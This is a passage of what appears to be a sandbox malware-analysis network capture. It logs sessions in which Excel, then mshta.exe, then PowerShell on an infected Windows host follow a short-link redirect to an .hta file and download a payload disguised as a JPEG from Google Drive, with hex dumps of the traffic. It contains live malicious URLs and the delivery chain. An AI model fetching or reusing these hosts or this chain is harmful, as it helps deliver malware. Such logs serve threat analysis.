bytes Content-Length: 2239109 Last-Modified: Mon, 21 Oct 2024 13:42:20 GMT X-GUploader-UploadID: AHmUCY15UN_2tXcodDNahj6XcAog4rH2fGPOt7x9_GRM6bTuA4k4sSDdOvBWNW7G5tnBkhXWuUSbeNMQEA Date: Thu, 24 Oct 2024 06:45:44 GMT Expires: Thu, 24 Oct 2024 06:45:44 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=WqxmdA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-24 06:45:45 UTC	4906	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-10-24 06:45:45 UTC	4884	IN	Data Raw: 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 7d 8c a8 45 2e de 2f b9 cd 04 62 f1 19 03 ed 55 b5 34 6c 13 99 53 48 aa 43 28 23 68 01 89 e7 9c 98 27 46 81 d1 49 00 1d c6 fb 9c 07 6f 7c 8a 24 76 64 ec a4 5e 15 62 d3 c0 8c e5 e5 24 03 e9 02 c5 62 1a 6d 62 bb 00 cc 14 ad 81 78 71 36 e4 61 be af 8c 0c ad 42 99 26 76 51 44 9a 0a 16 b8 c5 99 19 0d 32 90 7e 23 35 a4 11 b3 15 27 e2 0f 4b e3 17 d4 ed 10 80 24 dc 4f 40 70 33 eb Data Ascii: 8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^}E./bU4lSHC(#h'FIo\|$vd^b$bmbxq6aB&vQD2~#5'K$O@p3
2024-10-24 06:45:45 UTC	1324	IN	Data Raw: f9 18 1a 03 c4 23 6b 26 3e a2 b2 24 d6 c3 22 14 64 b1 ef ed 88 84 29 76 39 ca bd 12 08 bf cb 00 a4 c2 14 98 d5 83 0e 84 9c 9d 36 a5 e0 63 42 c9 e7 9c 18 e0 82 47 07 2c 14 16 14 d5 f0 ac 0d 24 f1 5d a4 03 18 2f ee 33 6b 47 ad d3 3e 98 4d 26 91 19 99 d9 77 32 b9 ae 9e a2 43 00 33 ca 86 52 de ae 08 03 9c 29 21 94 85 5e 2a b8 e3 eb d7 e5 81 e9 07 8b 40 da 67 d5 0f 0e d3 10 ac 29 77 3d 76 04 fe 3e c4 af e7 f0 39 da 6f 1b d3 6a 1c ef d0 c2 18 ad 85 4d ec c4 fc 8b f3 f4 ed ce 61 40 cf 14 91 b0 04 a8 24 15 27 f8 4f 0c 3f 2c a2 b4 b0 b9 da 40 ba b0 c0 30 ef 55 63 b7 be 06 9c de 2d 13 9a 1a 38 a3 b3 cb 29 6b 35 f0 2c 72 ad e3 50 00 36 f8 74 25 bd ed f9 ff 00 c5 99 f3 17 91 43 33 12 d4 7f 11 ba e7 b6 2e 18 b2 d8 8c 00 bf e2 16 0e 06 be b7 c5 22 62 a9 1e 8e 28 db 68 Data Ascii: #k&>$"d)v96cBG,$]/3kG>M&w2C3R)!^*@g)w=v>9ojMa@$'O?,@0Uc-8)k5,rP6t%C3."b(h
2024-10-24 06:45:45 UTC	1378	IN	Data Raw: e5 93 f7 c4 14 49 da 40 2a 7e 3f 96 07 ad 79 e3 61 bd 4e d0 7b e4 95 8a 45 b0 c5 8f c3 02 ba 33 cb 53 00 3b 9c 80 42 b1 3b b9 f9 60 18 ce aa 42 b2 86 1d 2c 76 f9 e3 0e ab 40 03 c5 70 31 00 f6 a4 48 6a fa 1d b8 cc 2f e7 00 a5 a9 94 58 f8 8c 0e 24 5d 61 13 77 6b 03 e1 92 17 af 1f 8b 8b c9 29 b5 49 1f 2c 00 18 b9 2d 6c 4f c7 28 47 15 75 86 08 42 f2 6b 2a c9 e9 3e bc 08 42 03 02 af 44 f7 ba cd 6f 04 d6 47 a2 d4 4a f3 be d5 70 2b 82 6d be 99 8e 14 03 f8 ac e1 01 2b d3 ad 7b d6 07 a4 f1 bd 8b 0a ea 53 53 2c 72 6d 0a b1 86 20 1e 7a fe 59 89 11 d7 6a 17 64 26 79 1a e8 90 cc 76 df c7 a0 ca b3 a3 43 24 b3 6a 7f 7b c0 45 ae 4d 77 bf 6c 67 c3 5e 72 fb 20 75 60 80 ca 55 ba 13 44 1f e7 81 53 a2 f1 b4 86 49 8c b3 20 4e 4a 89 da c8 fa 1c 57 45 ac f1 1d 44 a4 c5 aa 76 65 Data Ascii: I@~?yaN{E3S;B;`B,v@p1Hj/X$]awk)I,-lO(GuBk>BDoGJp+m+{SS,rm zYjd&yvC$j{EMwlg^r u`UDSI NJWEDve
2024-10-24 06:45:45 UTC	1378	IN	Data Raw: d4 b2 c6 e2 c0 b3 63 fa e0 66 d4 34 f3 16 51 42 c9 03 28 ac 03 31 65 dc 4f 7f 6c 06 e7 83 7e 99 69 cb 32 f7 6e ff 00 2c 5a 39 4a c0 e9 cd 9e 38 cd 24 4f 37 40 10 47 6c 3a 1f ae 27 36 92 58 80 97 69 00 1b 35 81 30 05 58 83 ca 01 00 f7 cf b2 7e cf b4 a9 3f ec fb 47 a6 9e 36 97 4f a8 fb 42 11 94 77 56 88 29 e7 b7 cf b6 7c 6a 58 19 c8 f2 eb 6d 73 66 8f 39 fa 1b f6 20 88 bf 60 e7 77 65 21 f5 ce 36 b3 71 7b 50 00 47 c4 d0 fa e0 7c f3 ec 86 96 0d 24 df 69 61 de cc 9f 72 5f 4c 4e 18 b2 99 62 23 d4 78 ee 01 6e c3 a6 0b f6 84 1a 2f da f4 cd 33 8d 41 69 34 c7 72 a8 51 b7 62 71 ed d3 bf 7b be 3a 66 ef d9 08 53 67 da 44 1a 69 62 f1 18 b4 4e 93 ab 23 16 45 43 10 29 60 05 03 d2 d4 a0 0a af 86 64 7d b5 d6 e9 b5 bf b4 81 3b 23 16 94 69 24 01 db 90 1a 28 d8 0e bf 1c 0d 1f Data Ascii: cf4QB(1eOl~i2n,Z9J8$O7@Gl:'6Xi50X~?G6OBwV)\|jXmsf9 `we!6q{PG\|$iar_LNb#xn/3Ai4rQbq{:fSgDibN#EC)`d};#i$(
2024-10-24 06:45:45 UTC	1378	IN	Data Raw: 70 0e 51 21 52 69 af da f1 39 f6 b2 96 08 c5 98 50 be d8 58 85 a9 12 bb 31 f7 f6 c0 cc a1 66 dd e6 1f 2c f4 17 81 d1 2f 9b 09 2e a4 b0 e3 e9 8b 3a 3c 4c cd 1d 2a 91 cf 18 c3 29 58 5a 9c d9 3e 9f 96 1e 08 8c b0 82 dc af 42 47 38 19 e1 37 37 ac 6e 1e f8 64 2c ea 50 8b 5a e2 86 72 43 20 d6 98 ca 91 10 e6 f1 98 e2 02 56 0a 59 42 8b 23 df 01 78 b4 e9 01 ad a6 db b0 c3 47 a2 56 90 52 30 0d d6 fb 64 88 77 4d bc c8 dc 9e 06 3a 6d 23 01 59 b7 11 d7 02 87 46 9a 6b 23 93 d3 e9 81 56 57 0c 03 58 06 a8 8e 70 da 98 8b 4d 13 09 58 9a a2 07 f3 c4 91 36 ea 25 46 91 89 bf 4f 15 81 05 48 73 66 fe 99 59 d0 32 6d 65 e4 64 32 32 cc 41 73 f0 bc ba 5b 0d 92 1b 61 d0 d6 02 fa 7d 3a 39 3e 9f 52 f4 38 dc 6b 21 43 bb a8 e9 95 8c 04 52 43 10 df 2c 32 12 50 6d 66 2c 7a fc 30 2f 06 8d Data Ascii: pQ!Ri9PX1f,/.:<L*)XZ>BG877nd,PZrC VYB#xGVR0dwM:m#YFk#VWXpMX6%FOHsfY2med22As[a}:9>R8k!CRC,2Pmf,z0/
2024-10-24 06:45:45 UTC	1378	IN	Data Raw: 8b 1a 88 d4 12 59 54 13 5b be 27 af c8 e2 ad b4 01 4a 40 bc d0 d5 13 ac 08 c8 d1 88 d5 76 ae f9 94 33 72 c4 96 05 ae c9 e4 7e 43 e2 b0 d3 48 83 99 74 f4 7b 79 e9 ff 00 ab 01 32 29 b9 26 8f b6 16 02 34 ee 25 08 c5 87 2a bb c8 03 e7 44 1f d7 0f f7 49 0c 77 be 02 4f ff 00 6f 4f fd 59 0d a4 95 63 16 d0 90 be d3 23 7e 81 b0 1a 86 59 f5 09 23 43 24 e1 4d 1d cd 2b 11 d0 58 15 c0 b3 fe 20 46 44 5a 83 3b 14 59 a6 89 55 50 bb b4 cc 6c d8 56 ef d3 93 f9 7b 62 09 a7 96 48 77 a3 42 01 3c dc aa a4 8f 88 2c 32 1f 49 22 a9 25 a1 20 2e ea 12 27 4f a3 73 80 ea 99 bc a5 f3 1a 44 2e 18 28 69 18 f2 0a f5 00 93 5c 9e dd 33 33 5c 85 67 60 58 b1 e2 d9 9a cf f7 af 9e 73 bb 36 9c 21 24 aa 12 47 3c 73 5f 9e 2c 78 04 0b a3 c9 27 02 83 83 9a be 16 e9 1c 52 33 90 29 81 e7 e5 99 4a 2c Data Ascii: YT['J@v3r~CHt{y2)&4%*DIwOoOYc#~Y#C$M+X FDZ;YUPlV{bHwB<,2I"% .'OsD.(i\33\g`Xs6!$G<s_,x'R3)J,
2024-10-24 06:45:45 UTC	1378	IN	Data Raw: e6 f0 1a af 0a 7d 3c 28 c5 9a 49 e5 7f c2 ab ba 8d 73 df 03 23 cb 74 9c 30 7b 46 1e a5 6e c7 e1 84 49 e5 8c 32 a3 6d 0c a5 58 fb 8b bc 31 d3 ba 30 66 46 a2 0d 6e 15 5d bf a6 09 d8 19 02 81 47 df 03 d0 7d 9e 56 6d 0b d3 6d 01 ec 1f a5 62 bf 68 55 9b 57 a7 0d d7 6f 1f 1f 56 5b c2 35 03 45 0c 9e 71 db 16 e5 36 db af 9b 1c 7e 78 2f 13 d4 47 ac d4 c6 da 76 de 11 4a 9d bb ab df db 03 d0 1d eb a5 2a 59 98 85 6f c5 db e1 9e 7f ec d0 65 9a 72 39 f4 0f e7 9a e7 59 12 e9 49 97 74 67 98 d4 10 c6 cd 7b 7d 33 27 c1 b7 e9 27 73 22 32 ab a8 16 55 b9 eb d0 56 03 3e 3f a7 f3 60 13 85 f5 44 68 ff 00 ba 7f eb 97 d0 f8 ac 6b e1 db a4 3c c4 84 f4 27 75 76 c7 27 96 07 86 45 91 c4 6a ca 08 69 01 0a 77 03 c0 be a7 8c f1 c2 45 86 52 a5 4b c5 7c 7a a8 10 3e 38 1e 8f 45 71 81 23 bb Data Ascii: }<(Is#t0{FnI2mX10fFn]G}VmmbhUWoV[5Eq6~x/GvJ*Yoer9YItg{}3''s"2UV>?`Dhk<'uv'EjiwERK\|z>8Eq#
2024-10-24 06:45:45 UTC	1378	IN	Data Raw: cc cb ea 1c 74 00 05 ac 0c 9f b3 cc 90 78 d7 da 68 22 d6 ab 38 f0 89 e4 9e 58 dc c8 a1 d4 44 ad d4 72 c4 ee 2c 47 16 c2 bb 67 8a fb 55 10 93 ed ee 9b 50 24 0b 1c c9 a2 0a c1 83 32 8f 22 1f 51 5f c4 07 3d c6 6b 7d 84 d4 3e 8b c6 3e d6 46 92 42 d1 a7 83 6a 9c 79 60 fa 76 95 3b 41 20 1e fc e6 27 db 14 0d f6 bd 1c 39 15 a7 d1 15 63 dc 7d de 2a c0 f4 9f b5 e9 e4 66 fb 3d e6 24 b1 ca 9a 3d 92 ab 22 a8 0d b5 18 f0 39 1c b5 73 ed 9f 39 d3 40 41 2e 25 da c3 e1 9f 58 fd b3 cb a6 6f 1d f0 5d 3e a6 49 04 50 a3 89 5d 41 69 0f 0a 68 02 40 ff 00 47 3e 63 19 73 11 0b 11 65 00 0e 08 04 1b e8 6b eb 80 16 49 4a b2 79 a5 95 81 06 85 60 df 46 15 81 f3 38 35 7e 95 be 3e 39 a4 c9 b9 76 15 28 d5 dc 7f 5c 4e 73 e4 05 56 91 c5 9a e2 bf b6 05 f4 30 9f 35 9c 92 39 b5 0d 44 9b f9 65 Data Ascii: txh"8XDr,GgUP$2"Q_=k}>>FBjy`v;A '9c}*f=$="9s9@A.%Xo]>IP]Aih@G>csekIJy`F85~>9v(\NsV059De
2024-10-24 06:45:45 UTC	1378	IN	Data Raw: 11 c0 1d b0 d0 a2 e9 d0 24 67 8e a4 62 b1 6a 36 30 0e 9b bb 59 ca c9 29 56 2c ad c9 e8 30 0c 1d 9a 6a 0e a2 8d 73 91 3f 98 ac a4 b2 d0 3e aa 1d 46 26 67 31 a3 3c 8a a3 6f 37 8a 68 7c 54 6a f5 6e a1 58 93 d2 ff 00 0e 06 b1 71 e6 86 14 01 e3 35 1a 26 01 02 90 40 51 98 a6 46 ad a5 68 8f 61 8f 47 3b be 94 12 18 38 e2 fb d6 03 ee 8a 40 e5 77 03 57 ed 99 72 41 73 19 59 82 95 36 6c f1 8d 39 91 62 57 03 e2 d7 94 79 b7 46 43 42 ac 08 a6 e7 00 12 a4 72 c2 35 01 d6 ec f4 c5 11 d9 e4 6d cc 09 19 da 9d f3 41 22 44 16 26 2a 55 6b b6 28 35 02 2d 54 7a 5a b7 65 b2 c7 e0 30 0b a9 94 45 a9 44 67 1b 4f 38 ea ea 12 29 46 c2 b5 fc 40 e2 7a bd 3a 4e ea d2 2a 8d b5 cd e5 e0 81 5d 4c c4 86 8f a5 8c 0d b6 d5 a0 d3 f9 88 a1 56 bf 2c cc 96 68 e6 f5 07 52 4f c7 13 f1 2d 54 ef a0 91 Data Ascii: $gbj60Y)V,0js?>F&g1<o7h\|TjnXq5&@QFhaG;8@wWrAsY6l9bWyFCBr5mA"D&Uk(5-TzZe0EDgO8)F@z:N]LV,hRO-T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49170	5.159.62.244	443	3208	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:45:43 UTC	453	OUT	GET /uiklDr?&colloquia=wistful&stadium=tangy&earthquake=feigned&official=quizzical&display=fearless&technology=instinctive&feed=abusive&character HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: mpa.li Connection: Keep-Alive
2024-10-24 06:45:43 UTC	460	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 24 Oct 2024 06:45:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 98 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 0 Location: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta Vary: Accept
2024-10-24 06:45:43 UTC	98	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 31 37 36 2e 31 34 31 2f 33 36 2f 62 76 2f 73 65 65 74 68 65 62 65 73 74 74 68 69 6e 67 73 74 6f 62 65 67 6f 6f 64 77 69 74 68 68 69 73 6c 69 66 65 62 65 73 74 74 68 69 67 6e 73 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49173	5.159.62.243	443	2600	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:45:45 UTC	477	OUT	GET /uiklDr?&colloquia=wistful&stadium=tangy&earthquake=feigned&official=quizzical&display=fearless&technology=instinctive&feed=abusive&character HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: mpa.li Connection: Keep-Alive
2024-10-24 06:45:45 UTC	460	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 24 Oct 2024 06:45:45 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 98 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 0 Location: http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta Vary: Accept
2024-10-24 06:45:45 UTC	98	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 31 37 36 2e 31 34 31 2f 33 36 2f 62 76 2f 73 65 65 74 68 65 62 65 73 74 74 68 69 6e 67 73 74 6f 62 65 67 6f 6f 64 77 69 74 68 68 69 73 6c 69 66 65 62 65 73 74 74 68 69 67 6e 73 2e 68 74 61 Data Ascii: Found. Redirecting to http://192.3.176.141/36/bv/seethebestthingstobegoodwithhislifebestthigns.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49175	142.250.186.142	443	3560	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:46:00 UTC	121	OUT	GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-24 06:46:01 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 24 Oct 2024 06:46:01 GMT Location: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-r7sFEmbeqGe5CN0D0J7edA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49176	142.250.186.97	443	3560	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:46:02 UTC	139	OUT	GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-24 06:46:04 UTC	4906	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="new_image-new.jpg" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 2239109 Last-Modified: Mon, 21 Oct 2024 13:42:20 GMT X-GUploader-UploadID: AHmUCY3RSSw8Do4pInIbdPsiT-s6zDuZp9mmoj_FH8uFjBMFv1ivdyRWA88SJLSo0wZ7j3xkR08sF-2UKw Date: Thu, 24 Oct 2024 06:46:04 GMT Expires: Thu, 24 Oct 2024 06:46:04 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=WqxmdA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-24 06:46:04 UTC	4906	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-10-24 06:46:04 UTC	4884	IN	Data Raw: 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 7d 8c a8 45 2e de 2f b9 cd 04 62 f1 19 03 ed 55 b5 34 6c 13 99 53 48 aa 43 28 23 68 01 89 e7 9c 98 27 46 81 d1 49 00 1d c6 fb 9c 07 6f 7c 8a 24 76 64 ec a4 5e 15 62 d3 c0 8c e5 e5 24 03 e9 02 c5 62 1a 6d 62 bb 00 cc 14 ad 81 78 71 36 e4 61 be af 8c 0c ad 42 99 26 76 51 44 9a 0a 16 b8 c5 99 19 0d 32 90 7e 23 35 a4 11 b3 15 27 e2 0f 4b e3 17 d4 ed 10 80 24 dc 4f 40 70 33 eb Data Ascii: 8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^}E./bU4lSHC(#h'FIo\|$vd^b$bmbxq6aB&vQD2~#5'K$O@p3
2024-10-24 06:46:04 UTC	1325	IN	Data Raw: f9 18 1a 03 c4 23 6b 26 3e a2 b2 24 d6 c3 22 14 64 b1 ef ed 88 84 29 76 39 ca bd 12 08 bf cb 00 a4 c2 14 98 d5 83 0e 84 9c 9d 36 a5 e0 63 42 c9 e7 9c 18 e0 82 47 07 2c 14 16 14 d5 f0 ac 0d 24 f1 5d a4 03 18 2f ee 33 6b 47 ad d3 3e 98 4d 26 91 19 99 d9 77 32 b9 ae 9e a2 43 00 33 ca 86 52 de ae 08 03 9c 29 21 94 85 5e 2a b8 e3 eb d7 e5 81 e9 07 8b 40 da 67 d5 0f 0e d3 10 ac 29 77 3d 76 04 fe 3e c4 af e7 f0 39 da 6f 1b d3 6a 1c ef d0 c2 18 ad 85 4d ec c4 fc 8b f3 f4 ed ce 61 40 cf 14 91 b0 04 a8 24 15 27 f8 4f 0c 3f 2c a2 b4 b0 b9 da 40 ba b0 c0 30 ef 55 63 b7 be 06 9c de 2d 13 9a 1a 38 a3 b3 cb 29 6b 35 f0 2c 72 ad e3 50 00 36 f8 74 25 bd ed f9 ff 00 c5 99 f3 17 91 43 33 12 d4 7f 11 ba e7 b6 2e 18 b2 d8 8c 00 bf e2 16 0e 06 be b7 c5 22 62 a9 1e 8e 28 db 68 Data Ascii: #k&>$"d)v96cBG,$]/3kG>M&w2C3R)!^*@g)w=v>9ojMa@$'O?,@0Uc-8)k5,rP6t%C3."b(h
2024-10-24 06:46:04 UTC	1378	IN	Data Raw: 93 f7 c4 14 49 da 40 2a 7e 3f 96 07 ad 79 e3 61 bd 4e d0 7b e4 95 8a 45 b0 c5 8f c3 02 ba 33 cb 53 00 3b 9c 80 42 b1 3b b9 f9 60 18 ce aa 42 b2 86 1d 2c 76 f9 e3 0e ab 40 03 c5 70 31 00 f6 a4 48 6a fa 1d b8 cc 2f e7 00 a5 a9 94 58 f8 8c 0e 24 5d 61 13 77 6b 03 e1 92 17 af 1f 8b 8b c9 29 b5 49 1f 2c 00 18 b9 2d 6c 4f c7 28 47 15 75 86 08 42 f2 6b 2a c9 e9 3e bc 08 42 03 02 af 44 f7 ba cd 6f 04 d6 47 a2 d4 4a f3 be d5 70 2b 82 6d be 99 8e 14 03 f8 ac e1 01 2b d3 ad 7b d6 07 a4 f1 bd 8b 0a ea 53 53 2c 72 6d 0a b1 86 20 1e 7a fe 59 89 11 d7 6a 17 64 26 79 1a e8 90 cc 76 df c7 a0 ca b3 a3 43 24 b3 6a 7f 7b c0 45 ae 4d 77 bf 6c 67 c3 5e 72 fb 20 75 60 80 ca 55 ba 13 44 1f e7 81 53 a2 f1 b4 86 49 8c b3 20 4e 4a 89 da c8 fa 1c 57 45 ac f1 1d 44 a4 c5 aa 76 65 e4 Data Ascii: I@~?yaN{E3S;B;`B,v@p1Hj/X$]awk)I,-lO(GuBk>BDoGJp+m+{SS,rm zYjd&yvC$j{EMwlg^r u`UDSI NJWEDve
